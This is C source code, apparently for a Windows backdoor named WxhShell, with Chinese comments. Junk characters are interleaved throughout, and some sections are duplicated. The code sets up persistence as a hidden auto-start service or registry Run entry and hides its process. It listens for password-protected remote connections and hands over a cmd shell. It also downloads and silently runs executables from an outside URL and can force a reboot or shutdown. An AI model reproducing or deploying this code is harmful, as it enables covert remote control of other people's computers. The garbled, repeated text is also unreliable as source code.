q'o? HANDLE hProcess; "\`Fu PROCESS_BASIC_INFORMATION pbi; c}|.U z~tdLtcX HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); "aI)LlyCY if(NULL == hInst ) return 0; `GY3H3B Scm45"wB+ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); tc)Md]S g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 8!3 q:8y8 NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); OHj>ufwVq ZI qXkD if (!NtQueryInformationProcess) return 0; *{j;LA.BR# 67&Q<`V1*q hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); pX*E(Q)@! if(!hProcess) return 0; 3D!7,@&>3 $ta JVVF if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 4&%H;Q \}u/0UF97 CloseHandle(hProcess); (Cq 38~mR ?wv3HN hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Vn:v{-i if(hProcess==NULL) return 0; l;A '^ \v\ONp" HMODULE hMod; );TB(PQsBT char procName[255]; dY0W=,X$7T unsigned long cbNeeded; 5pDE!6gQ 2-N7%]h if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); mwsBj) "=C~IW CloseHandle(hProcess); :AFU5mR4& T ,!CDm$= if(strstr(procName,"services")) return 1; // 以服务启动 u,`3_I^ N~IAm:G}[ return 0; // 注册表启动 9+@z:j } 0 V]MAuD($ NB'G{),)Z // 主模块 qLb~^'<iD int StartWxhshell(LPSTR lpCmdLine) \b"|p%CL8 { hEZo{0:b" SOCKET wsl; 9I
[:#,zdf BOOL val=TRUE; 50Gu~No6 int port=0; !\d~9H%`B struct sockaddr_in door; zjcSn7iu f{O-\ if(wscfg.ws_autoins) Install(); KehM.c^ zDtC]y' port=atoi(lpCmdLine); >R6mI zA+0jhuG if(port<=0) port=wscfg.ws_port; O;V^Fk( ~xc/Dsb$ WSADATA data; &[j9Up' if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ')yYpWO Vj1V;dHv if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ~}d\sQF. setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); A-3^~aEgx door.sin_family = AF_INET; J(!=Dno door.sin_addr.s_addr = inet_addr("127.0.0.1"); .bP8Z= door.sin_port = htons(port); bx{njo1Mr _K{-1ZYsi if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { v?6*n>R closesocket(wsl); KaOXqFT= return 1; }Rh%bf7, } 'U ZzH$h vL[IVBG^ if(listen(wsl,2) == INVALID_SOCKET) { mOHOv61
closesocket(wsl); pCo3%( return 1; 6'e^np } /AOGn?Z3 Wxhshell(wsl); 'm|T"Ym~ WSACleanup(); bo<.pK$ 8tv4_Lbx return 0; C@]D*k +HWFoK } FNOsw\Bo 5bXpj86mY // 以NT服务方式启动 P2`F"
Qsq VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) (;05=DsO { WoB'B|% DWORD status = 0; H<q|je}e DWORD specificError = 0xfffffff; ??P\v0E 0m.`$nlV- serviceStatus.dwServiceType = SERVICE_WIN32; <*^|Aj|# serviceStatus.dwCurrentState = SERVICE_START_PENDING; kb"Fw:0
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; q27q/q8 serviceStatus.dwWin32ExitCode = 0; `EvO^L serviceStatus.dwServiceSpecificExitCode = 0; LD
NdHG6 serviceStatus.dwCheckPoint = 0; fJ
_MuAv serviceStatus.dwWaitHint = 0; R<Mp$K^b {:_*P
TVk hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); =?+w5oI0 if (hServiceStatusHandle==0) return; T95FoA _7';1 D status = GetLastError(); !ii(2U if (status!=NO_ERROR) -}sMOy` { XY9%aT* serviceStatus.dwCurrentState = SERVICE_STOPPED; $0P16ZlPC serviceStatus.dwCheckPoint = 0; D$H&^,?N serviceStatus.dwWaitHint = 0; ''q;yKpaz serviceStatus.dwWin32ExitCode = status; >Je$WE3 serviceStatus.dwServiceSpecificExitCode = specificError; )G, S7A SetServiceStatus(hServiceStatusHandle, &serviceStatus); kCz2uG)l return; }aa]1X(u } /g9^g( R)$]r>YZF serviceStatus.dwCurrentState = SERVICE_RUNNING; <Z_\2
YWA serviceStatus.dwCheckPoint = 0; ;@gI*i
N" serviceStatus.dwWaitHint = 0; cL.>e=x$ if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); aQY.96yo } _dAn/rj
L8'4d'N+> // 处理NT服务事件,比如:启动、停止 "%dENK VOID WINAPI NTServiceHandler(DWORD fdwControl) @gf <%> { Gl3g.`X{$@ switch(fdwControl) j"TEp$x { $RF.LVc case SERVICE_CONTROL_STOP: Iix:Y} serviceStatus.dwWin32ExitCode = 0; @cxM#N8e serviceStatus.dwCurrentState = SERVICE_STOPPED; O0BDUpH serviceStatus.dwCheckPoint = 0; -Q
Mwtr#q} serviceStatus.dwWaitHint = 0; G)b:UJa" { +8 \?7,FY SetServiceStatus(hServiceStatusHandle, &serviceStatus); EW4a@ } IUh9skW5 return; ^2%)Nq; O case SERVICE_CONTROL_PAUSE: 9{S$%D serviceStatus.dwCurrentState = SERVICE_PAUSED; }uaFmXy3 break; e?07o!7[; case SERVICE_CONTROL_CONTINUE: .`J*l=u$ serviceStatus.dwCurrentState = SERVICE_RUNNING; 5\}Y=Pa break; %RF$Y=c'C case SERVICE_CONTROL_INTERROGATE: wouk~>Jft break; n!X%i+|4x }; HpUJ_pZ SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?*kB>U9e } Er$&}9G+- ?/hS1yD; // 标准应用程序主函数 32anmVnf int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) P92pQ_W { ('BB9#\t ]w]BKpU= // 获取操作系统版本 F2Ny=H&G OsIsNt=GetOsVer();
O5+Ah% GetModuleFileName(NULL,ExeFile,MAX_PATH); }z\ t}lven '
Gx\ // 从命令行安装 *M:p[.=1 if(strpbrk(lpCmdLine,"iI")) Install(); !{(crfXB QFhyidm=] // 下载执行文件 Pd d(1K* if(wscfg.ws_downexe) { 3^q9ll7Op if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) l6xqc,h!K WinExec(wscfg.ws_filenam,SW_HIDE); ~mah.8G
} Y4,p_6aKJ] CV{ZoY if(!OsIsNt) { :U'n0\ // 如果时win9x,隐藏进程并且设置为注册表启动 O)&ME HideProc(); uP8 cW([ StartWxhshell(lpCmdLine); k`[>Bk%b } P$AHw;n[R else 9aIv|cS? if(StartFromService()) (o{x*';i4 // 以服务方式启动
k6@ StartServiceCtrlDispatcher(DispatchTable); C deV3 else efHCPj // 普通方式启动 >k=@YLj StartWxhshell(lpCmdLine); |)O;+e\ oHSDi return 0; MDd2B9cy[ } I7|a,Q^f ev/)#i#s{ Dq!YB[Z$: v!<FeLW =========================================== -{d(~XIo f1o^:}5x SjJ$Oinc *(i%\ r<P? F &js$qgY " |6Iw\YU G2c\"[N1/ #include <stdio.h> L-q)48+^k #include <string.h> hA&m G33 #include <windows.h> %){/O}I]> #include <winsock2.h> -,mV~y #include <winsvc.h> [,~;n@jz #include <urlmon.h> J]48th0, t0:~BYXu #pragma comment (lib, "Ws2_32.lib") L/bvM?B^ #pragma comment (lib, "urlmon.lib") Z%3)w. NJoHrhC=' #define MAX_USER 100 // 最大客户端连接数 QOJ5 #define BUF_SOCK 200 // sock buffer |
ObA=[j #define KEY_BUFF 255 // 输入 buffer 8zJye6f;l MfFmJ7>Bg #define REBOOT 0 // 重启 1O)m(0tb[ #define SHUTDOWN 1 // 关机 %JA^b5'' = 4'r+2[ #define DEF_PORT 5000 // 监听端口 z! k 7vGAuTfi/@ #define REG_LEN 16 // 注册表键长度 Yc5)
^v #define SVC_LEN 80 // NT服务名长度 EF 8rh w5Ucj*A\ // 从dll定义API j \ #y typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); w/(2fU ( typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); nAj +HLO typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 5g9K|- typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Q5Mn= Di$++T8" // wxhshell配置信息 [$\VvRu% struct WSCFG { :FS~T[C; int ws_port; // 监听端口 d,j)JnY3V char ws_passstr[REG_LEN]; // 口令 gG(9&}@( int ws_autoins; // 安装标记, 1=yes 0=no !|"LAr9u char ws_regname[REG_LEN]; // 注册表键名 "QtkNy%E char ws_svcname[REG_LEN]; // 服务名 `<R^ZL, char ws_svcdisp[SVC_LEN]; // 服务显示名 -b
)~ char ws_svcdesc[SVC_LEN]; // 服务描述信息 }Q,BI*}* char ws_passmsg[SVC_LEN]; // 密码输入提示信息 scd}{Y int ws_downexe; // 下载执行标记, 1=yes 0=no nK]L0 *s char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" f~p[izt char ws_filenam[SVC_LEN]; // 下载后保存的文件名 bD1IY1 @_;vE(!5 }; JVPLE*T OF!n}.O( // default Wxhshell configuration :%zA X struct WSCFG wscfg={DEF_PORT, kH62#[J)yM "xuhuanlingzhe", 2>Kn'p 1, :+fW#: "Wxhshell", uH)v\Js "Wxhshell", Nb>C5TjR "WxhShell Service", hN;$'%^ "Wrsky Windows CmdShell Service", Thp!X/2O` "Please Input Your Password: ", 8)}A}x 1, ^p\n/#B "http://www.wrsky.com/wxhshell.exe", XJ7mvLM; "Wxhshell.exe" U4._a }; DpL|aRdbK "j}fcrlG9 // 消息定义模块 Bjb8#n04 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; BUla2p char *msg_ws_prompt="\n\r? for help\n\r#>"; 95tHire char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ::Di char *msg_ws_ext="\n\rExit."; gvxOo#8] char *msg_ws_end="\n\rQuit."; S%Z2J)H" char *msg_ws_boot="\n\rReboot..."; z}P1+Pm char *msg_ws_poff="\n\rShutdown..."; `u;4Z2Lr0 char *msg_ws_down="\n\rSave to "; dJmr!bN\; Z&J.8A]L char *msg_ws_err="\n\rErr!"; U+ief?;4F char *msg_ws_ok="\n\rOK!"; /JP%gD"8 M/8EaQs} char ExeFile[MAX_PATH]; 0"c(n0L int nUser = 0; ;5aAnvgW HANDLE handles[MAX_USER]; X]Ma:1+ int OsIsNt; ItQ3|-^ B%Z ,Xjq SERVICE_STATUS serviceStatus; p=f8A71 SERVICE_STATUS_HANDLE hServiceStatusHandle; _^] :tL6 +H3;{ h9, // 函数声明 !O/(._YB` int Install(void); qMcOSZ%8J int Uninstall(void); 3Et t9fBd int DownloadFile(char *sURL, SOCKET wsh); :k oXS int Boot(int flag); e?XQ, void HideProc(void); Hl*/s int GetOsVer(void); Z<[f81hE& int Wxhshell(SOCKET wsl); /y5a~3 void TalkWithClient(void *cs); +{{'3=x9 int CmdShell(SOCKET sock); *JY2vq int StartFromService(void); aK'%E3!~=x int StartWxhshell(LPSTR lpCmdLine); 8$6^S{M3 !K_ ke h VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 7|pF(sb0 VOID WINAPI NTServiceHandler( DWORD fdwControl ); jb!15Vlt" UE%~SVi.# // 数据结构和表定义 ?h|w7/9 SERVICE_TABLE_ENTRY DispatchTable[] = gn4Sz") { N51RBA {wscfg.ws_svcname, NTServiceMain}, 3*[YM7y {NULL, NULL} 7D)i]68E }; mMtX: B ez 7 // 自我安装 ~HyqHxy int Install(void) t3FfPV!P" { bl`vT3 char svExeFile[MAX_PATH]; >{w"aJ" F HKEY key; # F|w_P strcpy(svExeFile,ExeFile); 8j&LU, 'wP\VCL2> // 如果是win9x系统,修改注册表设为自启动 a*KJjl?k if(!OsIsNt) { pksF|VS if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { TmO3hKaP RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); t(.xEl;Ma RegCloseKey(key); $_&gT.> if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { VA@t8H, RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |H@1g=q RegCloseKey(key); YW UCrnr return 0; hG%J:} } }SF<. A } c/ABBvd| } uMM?s?q else { :=^_N} 4"y1M=he // 如果是NT以上系统,安装为系统服务 `q(eB=6;[ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); -c'~0g]< if (schSCManager!=0) Ok6c E { ^# gR"\F`d SC_HANDLE schService = CreateService j`$d W H/2 ( zXx)xIO schSCManager, ;bxL$1 wscfg.ws_svcname, 8X2NEVH] wscfg.ws_svcdisp, _^"0"<, SERVICE_ALL_ACCESS, uS,XQy2 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , VsMTzGr SERVICE_AUTO_START, ]2o? Gnn@ SERVICE_ERROR_NORMAL, zz~AoX7V6 svExeFile, ]&RC<imq NULL, L]|[AyNu NULL, kc&MO`2 W\ NULL, xHY#" NULL, 1 n<7YO7} NULL gls %<A{C ); '-5Q>d~&h if (schService!=0) f-/zR %s{ { .q7|z3@, CloseServiceHandle(schService); %I6c}*W CloseServiceHandle(schSCManager); jV!9IK;HA. strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); @u}1 S1 strcat(svExeFile,wscfg.ws_svcname); Xeo2 < @[ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 'WLh
D< RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); !XJS"o wr RegCloseKey(key); b )mU9 return 0; \gjYh2> } 0($ O1j~$ } y7)$~R):- CloseServiceHandle(schSCManager); yw9)^JU8" } .q^+llM } ?* %JGz_ i[d@qp!H= return 1; @mB*fl?- } Ps!~miN|> eL7\})!W // 自我卸载 +Tug.[A int Uninstall(void) pN
^^U[ { l;C00ZBOc HKEY key; &6mXsx$ 5bKm)|4z6 if(!OsIsNt) { bF
X0UE> if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { r#CQCq RegDeleteValue(key,wscfg.ws_regname); 0j)D[K RegCloseKey(key); ;"77?) if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { s;eOX\0 RegDeleteValue(key,wscfg.ws_regname); 5D#Mhgun RegCloseKey(key); y6*9, CF return 0; 6+hx64 = } 2,,t+8"` } hs5aIJ } HMymoh$Q else { WG0Ne;Ho ev_4!+ko SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); /T_@rm if (schSCManager!=0) ?onTW2cG; { FnFJw;:,{ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Z* Fxr;)d if (schService!=0) R;68C6 4 { U:n3V if(DeleteService(schService)!=0) { KPcOW#.T CloseServiceHandle(schService); A=S_5y CloseServiceHandle(schSCManager); 1D/9lR, return 0; Y"RjMyQh } x&SG gl CloseServiceHandle(schService); !leLOi2T } O-D${== CloseServiceHandle(schSCManager); YAvOV-L } gLyE,1Z}u } 18xT2f lS.&>{ return 1; -N3fhW#) } G(~
s(r{%I L93&.d@m9 // 从指定url下载文件 muc>4!Q int DownloadFile(char *sURL, SOCKET wsh)
Pq@%MF]5 { Av#_cL HRESULT hr; u\9t+wi}< char seps[]= "/"; `(rnD char *token; CPto?=*A char *file; @6N$!Q? char myURL[MAX_PATH]; ?pF7g$>q char myFILE[MAX_PATH]; .(7end< ?7Y6: zo$^ strcpy(myURL,sURL); YFF\m{# token=strtok(myURL,seps); {xzs{)9|Y4 while(token!=NULL) y p}a&Dg { BmP!/i_ file=token; +l "z token=strtok(NULL,seps); t69C48}15 } G{ 9p.Q ?IWLH-fkP GetCurrentDirectory(MAX_PATH,myFILE); Sl?@c/Ng strcat(myFILE, "\\"); m1mA:R\zM strcat(myFILE, file); j6NK7Li send(wsh,myFILE,strlen(myFILE),0); 9 ^G.]W] send(wsh,"...",3,0); iIe\m V hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 1+f>tv if(hr==S_OK) +NH#t}. return 0; tS2Orzc>, else ;ORT#7CU return 1; q
(?%$u. 0KQDw } 8hK\Ya:mP e95x,|.-_ // 系统电源模块 ># {,(8\ int Boot(int flag) &ZmHR^Flz { 91
] "D;NN HANDLE hToken; V@QWJZ" TOKEN_PRIVILEGES tkp; xTy[X"sJ yMQZulCWE if(OsIsNt) { @w H+,]xE OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Vh WF(* LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 5V|D%t2N tkp.PrivilegeCount = 1; <)vjoRv tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; l Wa4X#~. AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); '_nJ DM if(flag==REBOOT) { U',9t if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) [M7& return 0; YL$#6d } /qYo*S_cG else { QL<uQ`>( if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) \sUk71L`j return 0; u;[*Z } zi-;7lT } $!(J4v=X else { y2>XLELy if(flag==REBOOT) { JwkMRO if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 7(q EHZEr return 0; WxN@&g( } rW~hFSrV[o else { eC9nOwp]xH if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) NaR/IsN8% return 0; 8op,;Z7Y } 3M;[.b } FXHcy:)}G D2U")g}U return 1; DH#n7s'b } 9{{|P= N^G:m~> // win9x进程隐藏模块 ;oKN 8vI#7 void HideProc(void) PWwz<AI+ { ]w3-No !zhg3B#p HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); )CYm/dk if ( hKernel != NULL ) -R~!N#y { `30og]F0YJ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); V!sT2 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); K%XQdMv FreeLibrary(hKernel); $yZ(c#L } IEx`W;V]K Tn$/9<Q return; 1@ e22\ } /_N*6a~ )9^0Qk' ] // 获取操作系统版本 BD)5br]. int GetOsVer(void) rQ^X3J*` { y?ps+ce93 OSVERSIONINFO winfo; OZ/P@`kN.f winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Pl@3=s!~>~ GetVersionEx(&winfo); f{b$Y3 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) x>u \ return 1; r[>=iim else i|z=q return 0; m.F \Mn } ZB+N[VJs) ST#OO! // 客户端句柄模块 (XQBBt int Wxhshell(SOCKET wsl) [hLSK-K 9 { BCw5.@HK* SOCKET wsh; x1gf o!BN struct sockaddr_in client; -QUr|:SK: DWORD myID; ?r~|B/] Fq]ht* while(nUser<MAX_USER) }b//oe7 { Cr!}qZq int nSize=sizeof(client); FC' v= * wsh=accept(wsl,(struct sockaddr *)&client,&nSize); dG6 G if(wsh==INVALID_SOCKET) return 1; W[5a'}OV >i`V-" x handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); F"3LG" if(handles[nUser]==0) J 8/]&Ow closesocket(wsh); uxGY/Zf else =~)J:x\F nUser++; X+'z@xpj } NTnjVU
} WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Km5#$IiP; l!U_7)s/ return 0; Z!@<[Vo6 } X~aD\%kC7 [d(@lbV0 // 关闭 socket : ryE`EhB void CloseIt(SOCKET wsh) Im
NTk { -~nU&$ccL closesocket(wsh); Hs%;uyI@$ nUser--; ])d_B\)Kck ExitThread(0); E]^wsS>= } cULASS`, 6`KAl rH // 客户端请求句柄 k`LoRqF void TalkWithClient(void *cs) W?a{3B { j@JhxCe1+R uR|?5DK SOCKET wsh=(SOCKET)cs; 6Un61s char pwd[SVC_LEN]; -h5yg`+1N\ char cmd[KEY_BUFF]; Q(P'4XCm char chr[1]; q/
x(:yol int i,j; d?j_L`?+ )c'5M]V while (nUser < MAX_USER) { Pj4WWK X -&PiD if(wscfg.ws_passstr) { P'.M.I@ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); bB|UQaCl //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); c:
/Wk //ZeroMemory(pwd,KEY_BUFF); `$IuN* i=0; `m6>r9: while(i<SVC_LEN) { ZRDY`eK ~$#"'Tl4J // 设置超时 (dOC ^i fd_set FdRead;
1_D|;/aI struct timeval TimeOut; QZcdfJck=+ FD_ZERO(&FdRead); GpjyF_L FD_SET(wsh,&FdRead); %/l9$>{ TimeOut.tv_sec=8; 8>Y TimeOut.tv_usec=0; -ZTe#@J int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 8.-0_C*U; if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); w\
hl2JTy !.\EU*)1 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); c7$L: pwd=chr[0]; )7U^&I, if(chr[0]==0xd || chr[0]==0xa) { sSisO?F!Z pwd=0; e:SBX/\j break; [dG&"%5vD } "62vwWrwO i++; (=v :@\r } `
u# ' p0 @,- // 如果是非法用户,关闭 socket `[hc{ynO| if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); X^!n'$^u } {1RI!#[\ ff.(X! send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); T#;W5<" send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #) eI] 8]@)0q {r while(1) { [>5<&[A X$o$8s ZeroMemory(cmd,KEY_BUFF); oF1{/ERS Kjw4,z%\94 // 自动支持客户端 telnet标准 k)Y}X)\36 j=0; ^
olaq(z while(j<KEY_BUFF) { N=1zhI:VaQ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); AJk0jh\.j% cmd[j]=chr[0]; P5u
Y1( if(chr[0]==0xa || chr[0]==0xd) { dGxk
ql cmd[j]=0; )tH.P:
1~, break; mR3)$! } l@ +lUx8 j++; %4F
Q~ } 4CO"> : hu?Q,[+o // 下载文件 z >EO Qe if(strstr(cmd,"http://")) { tDWW
4H send(wsh,msg_ws_down,strlen(msg_ws_down),0); kq;1Ax0{ if(DownloadFile(cmd,wsh)) P}So>P~2 send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^*CvKCS else DuESLMhz send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); iFJ2dFA } cT2&nZ else { Q5[x2 s_ d :O`7kZ]=n switch(cmd[0]) { ~d0:>8zQR OT1 // 帮助 ~UrKyA case '?': { l@;UwnI send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); #[|~m;K(w break; 4@2<dw|*h } j7(sYo@x7 // 安装 {{hp;&x case 'i': { B,Pbm|U1 if(Install()) U_s3)/' send(wsh,msg_ws_err,strlen(msg_ws_err),0); [i[*xf-B else 4?+K:e #F send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a`c#-
je break; 4LG[i}u.N } =>?;Iv'Z // 卸载 j@N z case 'r': { CSKOtqKQ) if(Uninstall()) 0c2O'&$au send(wsh,msg_ws_err,strlen(msg_ws_err),0); `SFA`B)[5@ else icO$9c send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dTV4 Q`Z break; F$L2bgQR?' } 1NHiW
v // 显示 wxhshell 所在路径 I5nxY)v case 'p': {
j,DF' h char svExeFile[MAX_PATH]; jL9g.q4^ strcpy(svExeFile,"\n\r"); o#"U8N%r strcat(svExeFile,ExeFile); KCBA`N8 send(wsh,svExeFile,strlen(svExeFile),0); 6MCLm.L break; /{)}y } 0bG[pp$[ // 重启 Dno]N case 'b': { NCrNlHIF send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Cz1Q@<) if(Boot(REBOOT)) / @v V^!#1 send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4>x$I9^Y! else { /"(`oe< closesocket(wsh); z3n273W>6 ExitThread(0); hgYi ,e } 6o5NeKZ break; +9^V9]{Vo } Vy.gr4Cm // 关机 [Rj_p&'
case 'd': { ^sF/-/ {?U send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); {l
E\y9 if(Boot(SHUTDOWN)) 0W_olnZ send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2XX- else { ]\~s83?X closesocket(wsh); u%t/W0xi ExitThread(0); .O yzM } c-GS:'J{ break; :P2{^0$ } I cJy$+ // 获取shell ;[qA?<GJ case 's': { <?2g\+{s9 CmdShell(wsh); $_cO7d closesocket(wsh); *VUD!`F ExitThread(0); H=/ ; break; Sg &0a$ } e/7rr~"| // 退出 ;\'d9C case 'x': { 7@W}>gnf send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 2_/H, CloseIt(wsh); R|@?6< break; yG'
5: } <`Xt?K // 离开 ]$7yB3S,B case 'q': { +6~y1s/B[ send(wsh,msg_ws_end,strlen(msg_ws_end),0); ;s$,}O. closesocket(wsh); 9ZD>_a WSACleanup(); +^6a$ N exit(1); MJ\^i4 break; ts:YJAu+F } Jkx_5kk/\ } r"_U-w } ^ g'P
H{68 5i0vli/L // 提示信息 7DZZdH$Fm if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); YHp]O+c } XLgp.w; } N,3 )`Vm DqJzsk'd3 return; "C]v } c]/X
>8; B*@0l: // shell模块句柄 S4Q
fx6:~h int CmdShell(SOCKET sock) UfkQG`G9H { Hk 0RT%PK STARTUPINFO si; _x` oab0@ ZeroMemory(&si,sizeof(si)); 8{-
*Q(=/ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <WiyM[ep si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; D7lRZb PROCESS_INFORMATION ProcessInfo; TWeup6k char cmdline[]="cmd"; H5eGl|Z5]^ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); H3xMoSs return 0; u2E}DhV } vNDf1B5z D_Zt:tzO // 自身启动模式 ,%T
sfB int StartFromService(void) 4[lym,8C { X:>,3[hx| typedef struct OTj
J' { l9Av@| DWORD ExitStatus; [*K.9}+G_ DWORD PebBaseAddress; h( DmSW DWORD AffinityMask; cK1 Fv6V# DWORD BasePriority; adn2&7H ULONG UniqueProcessId; X|'[\v2ld ULONG InheritedFromUniqueProcessId; /tG[pg{[ } PROCESS_BASIC_INFORMATION; ` yYYyB[ gSk0#Jt PROCNTQSIP NtQueryInformationProcess; zq'KX/o vnx+1T static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; M\A6;dz' static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; `]I p`_{ r>lo@e0G HANDLE hProcess; *5KDu$'(e PROCESS_BASIC_INFORMATION pbi; {nj`> MMy\u) 4 HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); {U)q) if(NULL == hInst ) return 0; qQwf#& FL[,?RU?2 g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); C/!7E: g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); G.:QA}FE' NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); d$HPpi1LL QKI g5I- if (!NtQueryInformationProcess) return 0; J(5#fo{Q.g 97pfMk1_ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); >{{0odBF if(!hProcess) return 0; J%IKdxa tfdb9#&? if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; H}cq|hodn .naSK`J,` CloseHandle(hProcess); "XLFw;o 07G'"= hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); mq+x= if(hProcess==NULL) return 0; TR9dpt+T !l$k6,WJi HMODULE hMod; 